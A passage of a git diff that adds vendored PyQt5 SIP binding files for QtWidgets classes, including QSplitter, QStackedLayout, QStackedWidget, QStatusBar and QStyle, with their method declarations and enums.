indexOf(QWidget *w) const; + QWidget *widget(int index) const; + int count() const /__len__/; + void getRange(int index, int *, int *) const; + QSplitterHandle *handle(int index) const /Transfer/; + void setStretchFactor(int index, int stretch); +%If (Qt_5_9_0 -) + QWidget *replaceWidget(int index, QWidget *widget /Transfer/) /TransferBack/; +%End + +signals: + void splitterMoved(int pos, int index); + +protected: + virtual QSplitterHandle *createHandle() /Transfer/; + virtual void childEvent(QChildEvent *); + virtual bool event(QEvent *); + virtual void resizeEvent(QResizeEvent *); + virtual void changeEvent(QEvent *); + void moveSplitter(int pos, int index); + void setRubberBand(int position); + int closestLegalPosition(int, int); +}; + +class QSplitterHandle : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + QSplitterHandle(Qt::Orientation o, QSplitter *parent /TransferThis/); + virtual ~QSplitterHandle(); + void setOrientation(Qt::Orientation o); + Qt::Orientation orientation() const; + bool opaqueResize() const; + QSplitter *splitter() const; + virtual QSize sizeHint() const; + +protected: + virtual void paintEvent(QPaintEvent *); + virtual void mouseMoveEvent(QMouseEvent *); + virtual void mousePressEvent(QMouseEvent *); + virtual void mouseReleaseEvent(QMouseEvent *); + virtual bool event(QEvent *); + void moveSplitter(int p); + int closestLegalPosition(int p); + virtual void resizeEvent(QResizeEvent *); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstackedlayout.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstackedlayout.sip new file mode 100644 index 00000000..a7a142ee --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstackedlayout.sip @@ -0,0 +1,113 @@ +// qstackedlayout.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QStackedLayout : QLayout +{ +%TypeHeaderCode +#include +%End + +public: + enum StackingMode + { + StackOne, + StackAll, + }; + + QStackedLayout(); + explicit QStackedLayout(QWidget *parent /TransferThis/); + explicit QStackedLayout(QLayout *parentLayout /TransferThis/); + virtual ~QStackedLayout(); + int addWidget(QWidget *w /GetWrapper/); +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipRes = sipCpp->addWidget(a0); + Py_END_ALLOW_THREADS + + // The layout's parent widget (if there is one) will now have ownership. + QWidget *parent = sipCpp->parentWidget(); + + if (parent) + { + PyObject *py_parent = sipGetPyObject(parent, sipType_QWidget); + + if (py_parent) + sipTransferTo(a0Wrapper, py_parent); + } + else + { + // For now give the Python ownership to the layout. This maintains + // compatibility with previous versions and allows addWidget(QWidget()). + sipTransferTo(a0Wrapper, sipSelf); + } +%End + + int insertWidget(int index, QWidget *w /GetWrapper/); +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipRes = sipCpp->insertWidget(a0, a1); + Py_END_ALLOW_THREADS + + // The layout's parent widget (if there is one) will now have ownership. + QWidget *parent = sipCpp->parentWidget(); + + if (parent) + { + PyObject *py_parent = sipGetPyObject(parent, sipType_QWidget); + + if (py_parent) + sipTransferTo(a1Wrapper, py_parent); + } + else + { + // For now give the Python ownership to the layout. This maintains + // compatibility with previous versions and allows insertWidget(QWidget()). + sipTransferTo(a1Wrapper, sipSelf); + } +%End + + QWidget *currentWidget() const; + int currentIndex() const; + QWidget *widget(int) const; + virtual QWidget *widget(); + virtual int count() const; + virtual void addItem(QLayoutItem *item /Transfer/); + virtual QSize sizeHint() const; + virtual QSize minimumSize() const; + virtual QLayoutItem *itemAt(int) const; + virtual QLayoutItem *takeAt(int) /TransferBack/; + virtual void setGeometry(const QRect &rect); + +signals: + void widgetRemoved(int index); + void currentChanged(int index); + +public slots: + void setCurrentIndex(int index); + void setCurrentWidget(QWidget *w); + +public: + QStackedLayout::StackingMode stackingMode() const; + void setStackingMode(QStackedLayout::StackingMode stackingMode); + virtual bool hasHeightForWidth() const; + virtual int heightForWidth(int width) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstackedwidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstackedwidget.sip new file mode 100644 index 00000000..76b07e80 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstackedwidget.sip @@ -0,0 +1,51 @@ +// qstackedwidget.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QStackedWidget : QFrame +{ +%TypeHeaderCode +#include +%End + +public: + explicit QStackedWidget(QWidget *parent /TransferThis/ = 0); + virtual ~QStackedWidget(); + int addWidget(QWidget *w /Transfer/); + int insertWidget(int index, QWidget *w /Transfer/); + void removeWidget(QWidget *w); + QWidget *currentWidget() const; + int currentIndex() const; + int indexOf(QWidget *) const; + QWidget *widget(int) const; + int count() const /__len__/; + +public slots: + void setCurrentIndex(int index); + void setCurrentWidget(QWidget *w); + +signals: + void currentChanged(int); + void widgetRemoved(int index); + +protected: + virtual bool event(QEvent *e); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstatusbar.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstatusbar.sip new file mode 100644 index 00000000..f3713646 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstatusbar.sip @@ -0,0 +1,55 @@ +// qstatusbar.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QStatusBar : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + explicit QStatusBar(QWidget *parent /TransferThis/ = 0); + virtual ~QStatusBar(); + void addWidget(QWidget *widget /Transfer/, int stretch = 0); + void addPermanentWidget(QWidget *widget /Transfer/, int stretch = 0); + void removeWidget(QWidget *widget); + void setSizeGripEnabled(bool); + bool isSizeGripEnabled() const; + QString currentMessage() const; + int insertWidget(int index, QWidget *widget /Transfer/, int stretch = 0); + int insertPermanentWidget(int index, QWidget *widget /Transfer/, int stretch = 0); + +public slots: + void showMessage(const QString &message, int msecs = 0); + void clearMessage(); + +signals: + void messageChanged(const QString &text); + +protected: + virtual void paintEvent(QPaintEvent *); + virtual void resizeEvent(QResizeEvent *); + void reformat(); + void hideOrShow(); + virtual bool event(QEvent *); + virtual void showEvent(QShowEvent *); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstyle.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstyle.sip new file mode 100644 index 00000000..9d1971b0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstyle.sip @@ -0,0 +1,767 @@ +// qstyle.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QStyle : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QStyle(); + virtual ~QStyle(); + virtual void polish(QWidget *); + virtual void unpolish(QWidget *); + virtual void polish(QApplication *); + virtual void unpolish(QApplication *); + virtual void polish(QPalette & /In,Out/); + virtual QRect itemTextRect(const QFontMetrics &fm, const QRect &r, int flags, bool enabled, const QString &text) const; + virtual QRect itemPixmapRect(const QRect &r, int flags, const QPixmap &pixmap) const; + virtual void drawItemText(QPainter *painter, const QRect &rectangle, int alignment, const QPalette &palette, bool enabled, const QString &text, QPalette::ColorRole textRole = QPalette::NoRole) const; + virtual void drawItemPixmap(QPainter *painter, const QRect &rect, int alignment, const QPixmap &pixmap) const; + virtual QPalette standardPalette() const; + + enum StateFlag + { + State_None, + State_Enabled, + State_Raised, + State_Sunken, + State_Off, + State_NoChange, + State_On, + State_DownArrow, + State_Horizontal, + State_HasFocus, + State_Top, + State_Bottom, + State_FocusAtBorder, + State_AutoRaise, + State_MouseOver, + State_UpArrow, + State_Selected, + State_Active, + State_Open, + State_Children, + State_Item, + State_Sibling, + State_Editing, + State_KeyboardFocusChange, + State_ReadOnly, + State_Window, + State_Small, + State_Mini, + }; + + typedef QFlags State; + + enum PrimitiveElement + { + PE_Frame, + PE_FrameDefaultButton, + PE_FrameDockWidget, + PE_FrameFocusRect, + PE_FrameGroupBox, + PE_FrameLineEdit, + PE_FrameMenu, + PE_FrameStatusBar, + PE_FrameTabWidget, + PE_FrameWindow, + PE_FrameButtonBevel, + PE_FrameButtonTool, + PE_FrameTabBarBase, + PE_PanelButtonCommand, + PE_PanelButtonBevel, + PE_PanelButtonTool, + PE_PanelMenuBar, + PE_PanelToolBar, + PE_PanelLineEdit, + PE_IndicatorArrowDown, + PE_IndicatorArrowLeft, + PE_IndicatorArrowRight, + PE_IndicatorArrowUp, + PE_IndicatorBranch, + PE_IndicatorButtonDropDown, + PE_IndicatorViewItemCheck, + PE_IndicatorCheckBox, + PE_IndicatorDockWidgetResizeHandle, + PE_IndicatorHeaderArrow, + PE_IndicatorMenuCheckMark, + PE_IndicatorProgressChunk, + PE_IndicatorRadioButton, + PE_IndicatorSpinDown, + PE_IndicatorSpinMinus, + PE_IndicatorSpinPlus, + PE_IndicatorSpinUp, + PE_IndicatorToolBarHandle, + PE_IndicatorToolBarSeparator, + PE_PanelTipLabel, + PE_IndicatorTabTear, + PE_PanelScrollAreaCorner, + PE_Widget, + PE_IndicatorColumnViewArrow, + PE_FrameStatusBarItem, + PE_IndicatorItemViewItemCheck, + PE_IndicatorItemViewItemDrop, + PE_PanelItemViewItem, + PE_PanelItemViewRow, + PE_PanelStatusBar, + PE_IndicatorTabClose, + PE_PanelMenu, +%If (Qt_5_7_0 -) + PE_IndicatorTabTearLeft, +%End +%If (Qt_5_7_0 -) + PE_IndicatorTabTearRight, +%End + PE_CustomBase, + }; + + virtual void drawPrimitive(QStyle::PrimitiveElement pe, const QStyleOption *opt, QPainter *p, const QWidget *widget = 0) const = 0; + + enum ControlElement + { + CE_PushButton, + CE_PushButtonBevel, + CE_PushButtonLabel, + CE_CheckBox, + CE_CheckBoxLabel, + CE_RadioButton, + CE_RadioButtonLabel, + CE_TabBarTab, + CE_TabBarTabShape, + CE_TabBarTabLabel, + CE_ProgressBar, + CE_ProgressBarGroove, + CE_ProgressBarContents, + CE_ProgressBarLabel, + CE_MenuItem, + CE_MenuScroller, + CE_MenuVMargin, + CE_MenuHMargin, + CE_MenuTearoff, + CE_MenuEmptyArea, + CE_MenuBarItem, + CE_MenuBarEmptyArea, + CE_ToolButtonLabel, + CE_Header, + CE_HeaderSection, + CE_HeaderLabel, + CE_ToolBoxTab, + CE_SizeGrip, + CE_Splitter, + CE_RubberBand, + CE_DockWidgetTitle, + CE_ScrollBarAddLine, + CE_ScrollBarSubLine, + CE_ScrollBarAddPage, + CE_ScrollBarSubPage, + CE_ScrollBarSlider, + CE_ScrollBarFirst, + CE_ScrollBarLast, + CE_FocusFrame, + CE_ComboBoxLabel, + CE_ToolBar, + CE_ToolBoxTabShape, + CE_ToolBoxTabLabel, + CE_HeaderEmptyArea, + CE_ColumnViewGrip, + CE_ItemViewItem, + CE_ShapedFrame, + CE_CustomBase, + }; + + virtual void drawControl(QStyle::ControlElement element, const QStyleOption *opt, QPainter *p, const QWidget *widget = 0) const = 0; + + enum SubElement + { + SE_PushButtonContents, + SE_PushButtonFocusRect, + SE_CheckBoxIndicator, + SE_CheckBoxContents, + SE_CheckBoxFocusRect, + SE_CheckBoxClickRect, + SE_RadioButtonIndicator, + SE_RadioButtonContents, + SE_RadioButtonFocusRect, + SE_RadioButtonClickRect, + SE_ComboBoxFocusRect, + SE_SliderFocusRect, + SE_ProgressBarGroove, + SE_ProgressBarContents, + SE_ProgressBarLabel, + SE_ToolBoxTabContents, + SE_HeaderLabel, + SE_HeaderArrow, + SE_TabWidgetTabBar, + SE_TabWidgetTabPane, + SE_TabWidgetTabContents, + SE_TabWidgetLeftCorner, + SE_TabWidgetRightCorner, + SE_ViewItemCheckIndicator, + SE_TabBarTearIndicator, + SE_TreeViewDisclosureItem, + SE_LineEditContents, + SE_FrameContents, + SE_DockWidgetCloseButton, + SE_DockWidgetFloatButton, + SE_DockWidgetTitleBarText, + SE_DockWidgetIcon, + SE_CheckBoxLayoutItem, + SE_ComboBoxLayoutItem, + SE_DateTimeEditLayoutItem, + SE_DialogButtonBoxLayoutItem, + SE_LabelLayoutItem, + SE_ProgressBarLayoutItem, + SE_PushButtonLayoutItem, + SE_RadioButtonLayoutItem, + SE_SliderLayoutItem, + SE_SpinBoxLayoutItem, + SE_ToolButtonLayoutItem, + SE_FrameLayoutItem, + SE_GroupBoxLayoutItem, + SE_TabWidgetLayoutItem, + SE_ItemViewItemCheckIndicator, + SE_ItemViewItemDecoration, + SE_ItemViewItemText, + SE_ItemViewItemFocusRect, + SE_TabBarTabLeftButton, + SE_TabBarTabRightButton, + SE_TabBarTabText, + SE_ShapedFrameContents, + SE_ToolBarHandle, +%If (Qt_5_7_0 -) + SE_TabBarTearIndicatorLeft, +%End +%If (Qt_5_7_0 -) + SE_TabBarScrollLeftButton, +%End +%If (Qt_5_7_0 -) + SE_TabBarScrollRightButton, +%End +%If (Qt_5_7_0 -) + SE_TabBarTearIndicatorRight, +%End +%If (Qt_5_15_0 -) + SE_PushButtonBevel, +%End + SE_CustomBase, + }; + + virtual QRect subElementRect(QStyle::SubElement subElement, const QStyleOption *option, const QWidget *widget = 0) const = 0; + + enum ComplexControl + { + CC_SpinBox, + CC_ComboBox, + CC_ScrollBar, + CC_Slider, + CC_ToolButton, + CC_TitleBar, + CC_Dial, + CC_GroupBox, + CC_MdiControls, + CC_CustomBase, + }; + + enum SubControl + { + SC_None, + SC_ScrollBarAddLine, + SC_ScrollBarSubLine, + SC_ScrollBarAddPage, + SC_ScrollBarSubPage, + SC_ScrollBarFirst, + SC_ScrollBarLast, + SC_ScrollBarSlider, + SC_ScrollBarGroove, + SC_SpinBoxUp, + SC_SpinBoxDown, + SC_SpinBoxFrame, + SC_SpinBoxEditField, + SC_ComboBoxFrame, + SC_ComboBoxEditField, + SC_ComboBoxArrow, + SC_ComboBoxListBoxPopup, + SC_SliderGroove, + SC_SliderHandle, + SC_SliderTickmarks, + SC_ToolButton, + SC_ToolButtonMenu, + SC_TitleBarSysMenu, + SC_TitleBarMinButton, + SC_TitleBarMaxButton, + SC_TitleBarCloseButton, + SC_TitleBarNormalButton, + SC_TitleBarShadeButton, + SC_TitleBarUnshadeButton, + SC_TitleBarContextHelpButton, + SC_TitleBarLabel, + SC_DialGroove, + SC_DialHandle, + SC_DialTickmarks, + SC_GroupBoxCheckBox, + SC_GroupBoxLabel, + SC_GroupBoxContents, + SC_GroupBoxFrame, + SC_MdiMinButton, + SC_MdiNormalButton, + SC_MdiCloseButton, + SC_CustomBase, + SC_All, + }; + + typedef QFlags SubControls; + virtual void drawComplexControl(QStyle::ComplexControl cc, const QStyleOptionComplex *opt, QPainter *p, const QWidget *widget = 0) const = 0; + virtual QStyle::SubControl hitTestComplexControl(QStyle::ComplexControl cc, const QStyleOptionComplex *opt, const QPoint &pt, const QWidget *widget = 0) const = 0; + virtual QRect subControlRect(QStyle::ComplexControl cc, const QStyleOptionComplex *opt, QStyle::SubControl sc, const QWidget *widget = 0) const = 0; + + enum PixelMetric + { + PM_ButtonMargin, + PM_ButtonDefaultIndicator, + PM_MenuButtonIndicator, + PM_ButtonShiftHorizontal, + PM_ButtonShiftVertical, + PM_DefaultFrameWidth, + PM_SpinBoxFrameWidth, + PM_ComboBoxFrameWidth, + PM_MaximumDragDistance, + PM_ScrollBarExtent, + PM_ScrollBarSliderMin, + PM_SliderThickness, + PM_SliderControlThickness, + PM_SliderLength, + PM_SliderTickmarkOffset, + PM_SliderSpaceAvailable, + PM_DockWidgetSeparatorExtent, + PM_DockWidgetHandleExtent, + PM_DockWidgetFrameWidth, + PM_TabBarTabOverlap, + PM_TabBarTabHSpace, + PM_TabBarTabVSpace, + PM_TabBarBaseHeight, + PM_TabBarBaseOverlap, + PM_ProgressBarChunkWidth, + PM_SplitterWidth, + PM_TitleBarHeight, + PM_MenuScrollerHeight, + PM_MenuHMargin, + PM_MenuVMargin, + PM_MenuPanelWidth, + PM_MenuTearoffHeight, + PM_MenuDesktopFrameWidth, + PM_MenuBarPanelWidth, + PM_MenuBarItemSpacing, + PM_MenuBarVMargin, + PM_MenuBarHMargin, + PM_IndicatorWidth, + PM_IndicatorHeight, + PM_ExclusiveIndicatorWidth, + PM_ExclusiveIndicatorHeight, + PM_DialogButtonsSeparator, + PM_DialogButtonsButtonWidth, + PM_DialogButtonsButtonHeight, + PM_MdiSubWindowFrameWidth, + PM_MDIFrameWidth, + PM_MdiSubWindowMinimizedWidth, + PM_MDIMinimizedWidth, + PM_HeaderMargin, + PM_HeaderMarkSize, + PM_HeaderGripMargin, + PM_TabBarTabShiftHorizontal, + PM_TabBarTabShiftVertical, + PM_TabBarScrollButtonWidth, + PM_ToolBarFrameWidth, + PM_ToolBarHandleExtent, + PM_ToolBarItemSpacing, + PM_ToolBarItemMargin, + PM_ToolBarSeparatorExtent, + PM_ToolBarExtensionExtent, + PM_SpinBoxSliderHeight, + PM_DefaultTopLevelMargin, + PM_DefaultChildMargin, + PM_DefaultLayoutSpacing, + PM_ToolBarIconSize, + PM_ListViewIconSize, + PM_IconViewIconSize, + PM_SmallIconSize, + PM_LargeIconSize, + PM_FocusFrameVMargin, + PM_FocusFrameHMargin, + PM_ToolTipLabelFrameWidth, + PM_CheckBoxLabelSpacing, + PM_TabBarIconSize, + PM_SizeGripSize, + PM_DockWidgetTitleMargin, + PM_MessageBoxIconSize, + PM_ButtonIconSize, + PM_DockWidgetTitleBarButtonMargin, + PM_RadioButtonLabelSpacing, + PM_LayoutLeftMargin, + PM_LayoutTopMargin, + PM_LayoutRightMargin, + PM_LayoutBottomMargin, + PM_LayoutHorizontalSpacing, + PM_LayoutVerticalSpacing, + PM_TabBar_ScrollButtonOverlap, + PM_TextCursorWidth, + PM_TabCloseIndicatorWidth, + PM_TabCloseIndicatorHeight, + PM_ScrollView_ScrollBarSpacing, + PM_SubMenuOverlap, + PM_ScrollView_ScrollBarOverlap, +%If (Qt_5_4_0 -) + PM_TreeViewIndentation, +%End +%If (Qt_5_5_0 -) + PM_HeaderDefaultSectionSizeHorizontal, +%End +%If (Qt_5_5_0 -) + PM_HeaderDefaultSectionSizeVertical, +%End +%If (Qt_5_8_0 -) + PM_TitleBarButtonIconSize, +%End +%If (Qt_5_8_0 -) + PM_TitleBarButtonSize, +%End + PM_CustomBase, + }; + + virtual int pixelMetric(QStyle::PixelMetric metric, const QStyleOption *option = 0, const QWidget *widget = 0) const = 0; + + enum ContentsType + { + CT_PushButton, + CT_CheckBox, + CT_RadioButton, + CT_ToolButton, + CT_ComboBox, + CT_Splitter, + CT_ProgressBar, + CT_MenuItem, + CT_MenuBarItem, + CT_MenuBar, + CT_Menu, + CT_TabBarTab, + CT_Slider, + CT_ScrollBar, + CT_LineEdit, + CT_SpinBox, + CT_SizeGrip, + CT_TabWidget, + CT_DialogButtons, + CT_HeaderSection, + CT_GroupBox, + CT_MdiControls, + CT_ItemViewItem, + CT_CustomBase, + }; + + virtual QSize sizeFromContents(QStyle::ContentsType ct, const QStyleOption *opt, const QSize &contentsSize, const QWidget *widget = 0) const = 0; + + enum StyleHint + { + SH_EtchDisabledText, + SH_DitherDisabledText, + SH_ScrollBar_MiddleClickAbsolutePosition, + SH_ScrollBar_ScrollWhenPointerLeavesControl, + SH_TabBar_SelectMouseType, + SH_TabBar_Alignment, + SH_Header_ArrowAlignment, + SH_Slider_SnapToValue, + SH_Slider_SloppyKeyEvents, + SH_ProgressDialog_CenterCancelButton, + SH_ProgressDialog_TextLabelAlignment, + SH_PrintDialog_RightAlignButtons, + SH_MainWindow_SpaceBelowMenuBar, + SH_FontDialog_SelectAssociatedText, + SH_Menu_AllowActiveAndDisabled, + SH_Menu_SpaceActivatesItem, + SH_Menu_SubMenuPopupDelay, + SH_ScrollView_FrameOnlyAroundContents, + SH_MenuBar_AltKeyNavigation, + SH_ComboBox_ListMouseTracking, + SH_Menu_MouseTracking, + SH_MenuBar_MouseTracking, + SH_ItemView_ChangeHighlightOnFocus, + SH_Widget_ShareActivation, + SH_Workspace_FillSpaceOnMaximize, + SH_ComboBox_Popup, + SH_TitleBar_NoBorder, + SH_ScrollBar_StopMouseOverSlider, + SH_BlinkCursorWhenTextSelected, + SH_RichText_FullWidthSelection, + SH_Menu_Scrollable, + SH_GroupBox_TextLabelVerticalAlignment, + SH_GroupBox_TextLabelColor, + SH_Menu_SloppySubMenus, + SH_Table_GridLineColor, + SH_LineEdit_PasswordCharacter, + SH_DialogButtons_DefaultButton, + SH_ToolBox_SelectedPageTitleBold, + SH_TabBar_PreferNoArrows, + SH_ScrollBar_LeftClickAbsolutePosition, + SH_UnderlineShortcut, + SH_SpinBox_AnimateButton, + SH_SpinBox_KeyPressAutoRepeatRate, + SH_SpinBox_ClickAutoRepeatRate, + SH_Menu_FillScreenWithScroll, + SH_ToolTipLabel_Opacity, + SH_DrawMenuBarSeparator, + SH_TitleBar_ModifyNotification, + SH_Button_FocusPolicy, + SH_MessageBox_UseBorderForButtonSpacing, + SH_TitleBar_AutoRaise, + SH_ToolButton_PopupDelay, + SH_FocusFrame_Mask, + SH_RubberBand_Mask, + SH_WindowFrame_Mask, + SH_SpinControls_DisableOnBounds, + SH_Dial_BackgroundRole, + SH_ComboBox_LayoutDirection, + SH_ItemView_EllipsisLocation, + SH_ItemView_ShowDecorationSelected, + SH_ItemView_ActivateItemOnSingleClick, + SH_ScrollBar_ContextMenu, + SH_ScrollBar_RollBetweenButtons, + SH_Slider_StopMouseOverSlider, + SH_Slider_AbsoluteSetButtons, + SH_Slider_PageSetButtons, + SH_Menu_KeyboardSearch, + SH_TabBar_ElideMode, + SH_DialogButtonLayout, + SH_ComboBox_PopupFrameStyle, + SH_MessageBox_TextInteractionFlags, + SH_DialogButtonBox_ButtonsHaveIcons, + SH_SpellCheckUnderlineStyle, + SH_MessageBox_CenterButtons, + SH_Menu_SelectionWrap, + SH_ItemView_MovementWithoutUpdatingSelection, + SH_ToolTip_Mask, + SH_FocusFrame_AboveWidget, + SH_TextControl_FocusIndicatorTextCharFormat, + SH_WizardStyle, + SH_ItemView_ArrowKeysNavigateIntoChildren, + SH_Menu_Mask, + SH_Menu_FlashTriggeredItem, + SH_Menu_FadeOutOnHide, + SH_SpinBox_ClickAutoRepeatThreshold, + SH_ItemView_PaintAlternatingRowColorsForEmptyArea, + SH_FormLayoutWrapPolicy, + SH_TabWidget_DefaultTabPosition, + SH_ToolBar_Movable, + SH_FormLayoutFieldGrowthPolicy, + SH_FormLayoutFormAlignment, + SH_FormLayoutLabelAlignment, + SH_ItemView_DrawDelegateFrame, + SH_TabBar_CloseButtonPosition, + SH_DockWidget_ButtonsHaveFrame, + SH_ToolButtonStyle, + SH_RequestSoftwareInputPanel, + SH_ListViewExpand_SelectMouseType, + SH_ScrollBar_Transient, +%If (Qt_5_1_0 -) + SH_Menu_SupportsSections, +%End +%If (Qt_5_2_0 -) + SH_ToolTip_WakeUpDelay, +%End +%If (Qt_5_2_0 -) + SH_ToolTip_FallAsleepDelay, +%End +%If (Qt_5_2_0 -) + SH_Widget_Animate, +%End +%If (Qt_5_2_0 -) + SH_Splitter_OpaqueResize, +%End +%If (Qt_5_4_0 -) + SH_LineEdit_PasswordMaskDelay, +%End +%If (Qt_5_4_0 -) + SH_TabBar_ChangeCurrentDelay, +%End +%If (Qt_5_5_0 -) + SH_Menu_SubMenuUniDirection, +%End +%If (Qt_5_5_0 -) + SH_Menu_SubMenuUniDirectionFailCount, +%End +%If (Qt_5_5_0 -) + SH_Menu_SubMenuSloppySelectOtherActions, +%End +%If (Qt_5_5_0 -) + SH_Menu_SubMenuSloppyCloseTimeout, +%End +%If (Qt_5_5_0 -) + SH_Menu_SubMenuResetWhenReenteringParent, +%End +%If (Qt_5_5_0 -) + SH_Menu_SubMenuDontStartSloppyOnLeave, +%End +%If (Qt_5_7_0 -) + SH_ItemView_ScrollMode, +%End +%If (Qt_5_10_0 -) + SH_TitleBar_ShowToolTipsOnButtons, +%End +%If (Qt_5_10_0 -) + SH_Widget_Animation_Duration, +%End +%If (Qt_5_11_0 -) + SH_ComboBox_AllowWheelScrolling, +%End +%If (Qt_5_11_0 -) + SH_SpinBox_ButtonsInsideFrame, +%End +%If (Qt_5_12_0 -) + SH_SpinBox_StepModifier, +%End + SH_CustomBase, + }; + + virtual int styleHint(QStyle::StyleHint stylehint, const QStyleOption *option = 0, const QWidget *widget = 0, QStyleHintReturn *returnData = 0) const = 0; + + enum StandardPixmap + { + SP_TitleBarMenuButton, + SP_TitleBarMinButton, + SP_TitleBarMaxButton, + SP_TitleBarCloseButton, + SP_TitleBarNormalButton, + SP_TitleBarShadeButton, + SP_TitleBarUnshadeButton, + SP_TitleBarContextHelpButton, + SP_DockWidgetCloseButton, + SP_MessageBoxInformation, + SP_MessageBoxWarning, + SP_MessageBoxCritical, + SP_MessageBoxQuestion, + SP_DesktopIcon, + SP_TrashIcon, + SP_ComputerIcon, + SP_DriveFDIcon, + SP_DriveHDIcon, + SP_DriveCDIcon, + SP_DriveDVDIcon, + SP_DriveNetIcon, + SP_DirOpenIcon, + SP_DirClosedIcon, + SP_DirLinkIcon, + SP_FileIcon, + SP_FileLinkIcon, + SP_ToolBarHorizontalExtensionButton, + SP_ToolBarVerticalExtensionButton, + SP_FileDialogStart, + SP_FileDialogEnd, + SP_FileDialogToParent, + SP_FileDialogNewFolder, + SP_FileDialogDetailedView, + SP_FileDialogInfoView, + SP_FileDialogContentsView, + SP_FileDialogListView, + SP_FileDialogBack, + SP_DirIcon, + SP_DialogOkButton, + SP_DialogCancelButton, + SP_DialogHelpButton, + SP_DialogOpenButton, + SP_DialogSaveButton, + SP_DialogCloseButton, + SP_DialogApplyButton, + SP_DialogResetButton, + SP_DialogDiscardButton, + SP_DialogYesButton, + SP_DialogNoButton, + SP_ArrowUp, + SP_ArrowDown, + SP_ArrowLeft, + SP_ArrowRight, + SP_ArrowBack, + SP_ArrowForward, + SP_DirHomeIcon, + SP_CommandLink, + SP_VistaShield, + SP_BrowserReload, + SP_BrowserStop, + SP_MediaPlay, + SP_MediaStop, + SP_MediaPause, + SP_MediaSkipForward, + SP_MediaSkipBackward, + SP_MediaSeekForward, + SP_MediaSeekBackward, + SP_MediaVolume, + SP_MediaVolumeMuted, + SP_DirLinkOpenIcon, +%If (Qt_5_2_0 -) + SP_LineEditClearButton, +%End +%If (Qt_5_14_0 -) + SP_DialogYesToAllButton, +%End +%If (Qt_5_14_0 -) + SP_DialogNoToAllButton, +%End +%If (Qt_5_14_0 -) + SP_DialogSaveAllButton, +%End +%If (Qt_5_14_0 -) + SP_DialogAbortButton, +%End +%If (Qt_5_14_0 -) + SP_DialogRetryButton, +%End +%If (Qt_5_14_0 -) + SP_DialogIgnoreButton, +%End +%If (Qt_5_14_0 -) + SP_RestoreDefaultsButton, +%End + SP_CustomBase, + }; + + virtual QPixmap standardPixmap(QStyle::StandardPixmap standardPixmap, const QStyleOption *option = 0, const QWidget *widget = 0) const = 0; + virtual QIcon standardIcon(QStyle::StandardPixmap standardIcon, const QStyleOption *option = 0, const QWidget *widget = 0) const = 0; + virtual QPixmap generatedIconPixmap(QIcon::Mode iconMode, const QPixmap &pixmap, const QStyleOption *opt) const = 0; + static QRect visualRect(Qt::LayoutDirection direction, const QRect &boundingRect, const QRect &logicalRect); + static QPoint 